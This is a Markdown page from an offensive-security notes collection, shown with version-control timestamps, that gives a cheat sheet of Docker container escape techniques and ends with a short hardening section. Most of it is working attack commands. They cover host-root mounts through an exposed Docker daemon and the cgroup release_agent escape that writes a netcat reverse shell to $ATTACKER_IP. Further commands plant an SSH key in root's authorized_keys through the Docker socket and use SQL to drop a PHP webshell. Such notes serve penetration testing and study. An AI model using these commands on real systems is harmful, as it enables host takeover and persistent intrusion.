killchain-compendium/Exploits/Containers/Docker.md

365 lines
8.4 KiB
Markdown
Raw Normal View History

2022-11-13 22:38:01 +01:00
# Docker Vulnerabilities
2023-05-03 23:20:31 +02:00
## Check if you are inside a container
* Low process count
2023-08-21 15:10:17 +02:00
2023-05-03 23:20:31 +02:00
```sh
ps aux
```
* `.dockerenv` in `/`
2023-08-21 15:10:17 +02:00
2023-05-03 23:20:31 +02:00
```sh
cd / && ls -lah
```
* cgroups contain docker names
2023-08-21 15:10:17 +02:00
2023-05-03 23:20:31 +02:00
```sh
pwd /proc/1
cat cgroups
```
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
* [Container enumeration](https://github.com/stealthcopter/deepce)
## Abusing Registry
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
* [Registry Doc](https://docs.docker.com/registry/spec/api/)
* Registry is a json API endpoint
* Private registry added in `/etc/docker/daemon.json`
* Can be found by nmap as a service
2023-08-21 15:10:17 +02:00
Enumerate the Registry through [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber.git).
2022-11-13 22:38:01 +01:00
### Enumeration
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
* General query
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
curl http://test.com:5000/v2/_catalog`
```
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
* List tags
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
2023-08-21 15:10:17 +02:00
curl http://example.com:5000/v2/<REPOSITORY>/<APP>/tags/list
curl http://example.com:5000/v2/<REPOSITORY>/tags/list
2022-11-13 22:38:01 +01:00
```
2023-08-21 15:10:17 +02:00
`history` section of the json object contains commands executed at build phase. May contain sensitive data like passwords.
2022-11-13 22:38:01 +01:00
```sh
curl http://test.com:5000/v2/<REPO>/<APP>/manifests/<TAG>
```
### Download Images from the Remote Repository
Remote repositories might need to be added to the insecure registries before you are able to pull from them
```sh
echo '{"insecure-registries": ["insecure-registry.com:5000"]}' >> /etc/docker/daemon.json
```
Restart the docker service afterwards and take a look at the insecure registries via
```
docker info
```
Download an image via
```sh
docker pull insecure-registry:5000/repository-name/image-name
2022-11-13 22:38:01 +01:00
```
2024-01-11 05:40:49 +01:00
## Remote Docker Daemon
2023-08-21 15:10:17 +02:00
2024-01-11 05:40:49 +01:00
Users inside the `docker` group may open tcp socket through docker
In case you find an exposed docker daemon it can be used in the following way
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
2024-01-11 05:40:49 +01:00
docker -H tcp://$TARGET_IP:2375 ps
docker -H tcp://$TARGET_IP:2375 images
docker -H tcp://test.com:2375 exec <container> <cmd>
docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh
2022-11-13 22:38:01 +01:00
```
Check out [root please](https://github.com/chrisfosterelli/dockerrootplease)
2022-11-13 22:38:01 +01:00
## Escape Container via Exposed Docker Daemon
2023-08-21 15:10:17 +02:00
2024-01-11 05:40:49 +01:00
Look out for exposed docker sockets
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
2023-05-03 23:20:31 +02:00
find / -name "*sock" 2>/dev/null
2022-11-13 22:38:01 +01:00
groups
```
2024-01-11 05:40:49 +01:00
Mount the host volume and chroot to it. Ideally, use an image that is
installed already, e.g. alpine here.
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
or
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
docker run -v /:/host --rm -it <imageID> chroot /host/ bash
```
## Shared Namespaces
2023-08-21 15:10:17 +02:00
2024-01-11 05:40:49 +01:00
Requires root inside the container
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
nsenter --target 1 --mount sh
2024-01-11 05:40:49 +01:00
nsenter --target 1 --mount --uts --ipc --net /bin/bash
2022-11-13 22:38:01 +01:00
```
## Misconfiguration
2023-05-05 18:27:45 +02:00
2024-01-11 05:40:49 +01:00
### Capabilities
2023-05-05 18:27:45 +02:00
2024-01-11 05:40:49 +01:00
Privileged container connect to the host directly, not through the docker engine.
Execution of binaries on the host from inside the container is possible.
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
capsh --print
```
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
* [PoC](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/#:~:text=The%20SYS_ADMIN%20capability%20allows%20a,security%20risks%20of%20doing%20so.)
2024-01-11 05:40:49 +01:00
Exploit and get a reverse shell to the host via
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
2023-08-21 15:10:17 +02:00
2024-01-11 05:40:49 +01:00
Caveat: The file may appear outside the container on some host systems. Have to investigate...
2023-05-03 23:20:31 +02:00
2023-05-05 18:27:45 +02:00
### cap_admin
`cap_sys_admin` provides the ability to spawn a root shell inside the container
2023-08-21 15:10:17 +02:00
2023-05-05 18:27:45 +02:00
```sh
capsh --gid=0 --uid=0 --
```
2023-08-21 15:10:17 +02:00
Further, if there is access to the host this capability can be used to set
`chmod u+s /bin/bash` and list the available mounts. The mounts can be listed
`findmnt`.
Resulting in a useable root bash on the host via executing it on the path of
the docker volume, e.g.
2023-05-05 18:27:45 +02:00
```sh
/var/lib/docker/overlay2/l/randomhash/bin/bash -p
```
2022-11-13 22:38:01 +01:00
## Check fdisk
2024-01-11 05:40:49 +01:00
`fdisk -l` and `lsblk`, host bulk device may be exposed
Mount the device
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
mkdir /mnt/hostdev
mount /dev/<hostVda> /mnt/hostdev
```
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
* Check `/dev` as well !!! and mount device
## Creating a Container from inside another container
* Needs root inside a container
* Upload [static curl](https://github.com/moparisthebest/static-curl)
* Check available images and containers
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
```
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
* Inside the container as root
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'
```
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
* Return value is the ID
* Start a container
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
```
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
* Login in to the host via ssh remotely or socat locally
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp
```
2024-01-11 05:40:49 +01:00
## Reversing Docker Images
* [Dive](https://github.com/wagoodman/dive)
```sh
dive <IMAGE-ID>
```
## Uploading Images to Registry
* Ever image has a `latest` tag
* Upload modified docker image as `latest`
* [Article](https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/malicious-docker-hub-container-images-cryptocurrency-mining)
2022-11-13 22:38:01 +01:00
## Escape through DB
* Login into DB
* Create table
* Inject PHP code
2023-05-03 23:20:31 +02:00
* Select table content into a file the user can read
2022-11-13 22:38:01 +01:00
* Execute the file
2023-08-21 15:10:17 +02:00
2024-01-11 05:40:49 +01:00
```SQL
2022-11-13 22:38:01 +01:00
create table h4x0r (pwn varchar(1024));
2023-05-03 23:20:31 +02:00
insert into h4x0r (pwn) values ('<?php $cmd=$_GET["cmd"];system($cmd);?>');
select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r INTO OUTFILE '/var/www/html/shell.php';
copy (select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r) to '/var/www/html/shell.php'; # In case of PostreSQL
2022-11-13 22:38:01 +01:00
```
2023-08-21 15:10:17 +02:00
2024-01-11 05:40:49 +01:00
curl the webshell hon the exploited host
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
```sh
curl <host-IP>/shell.php?cmd=id
```
## Dirty c0w
2023-08-21 15:10:17 +02:00
[DirtyC0w](https://github.com/dirtycow/dirtycow.github.io)
2022-11-13 22:38:01 +01:00
## runC
2023-08-21 15:10:17 +02:00
2022-11-13 22:38:01 +01:00
[CVE-2019-5736](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
## Securing a Container
2023-08-21 15:10:17 +02:00
2024-02-06 22:50:41 +01:00
* Use Grype or CIS Benchmark for Vulnerability Checks
```sh
grype $IMAGE_NAME --scope all-layers
grype ./image.tar
```
### Cgroups
Take a look at the cgroups of a container
```sh
docker inspect $CONTAINER_ID
```
Update cgroups of a container via
```sh
docker update --cpus="4" --memory="512m"
```
### Remove Capabilities
The count of capabilities should be minimized on every container.
It should only contain the necessary caps.
```sh
docker run -it --rm --cap-drop=ALL --cap-add=$NECESSARY_CAPS $CONTAINER_NAME
```
Check the capabilities via
```sh
capsh --print
```
### SSH context
Create a profile to use a remote Docker daemon through SSH
```sh
docker context create --docker host=ssh://$USER@$TARGET_IP --description "Attack" attack-host
docker context use attack-host
docker context use default
```
### Enable TLS
Start a Docker daemon using TLS
```sh
dockerd --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=0.0.0.0:2376
```
Connect to a TLS enabled Docker Daemon
```sh
docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H=$DOCKER_SERVER:2376 info
```
### Seccomp
> The seccomp() system call operates on the Secure Computing (seccomp)
> state of the calling process.
In strict mode it is described as follows
> The only system calls that the calling thread
> is permitted to make are read(2), write(2), _exit(2) (but not
> exit_group(2)), and sigreturn(2).
Seccomp can also be configured to support other systemcalls.
The configuration is done via JSON
```sh
docker run --rm -it --security-opt seccomp=./profile.json $CONTAINER_NAME
```
### Apparmor
Mandatory Acces Control measurement to limit permissions of execution and on resources.
See the status of Apparmor via
```sh
aa-status
```
Create a profile and import it via
```sh
apparmor_parser -r -W ./profile.json
```
Apply the configuration to the container via
```sh
docker run --rm -it --security-opt apparmor=./profile.json
```
2023-08-21 15:10:17 +02:00
## References
* [Docker Registry Grabber](https://github.com/Syzik/DockerRegistryGrabber.git)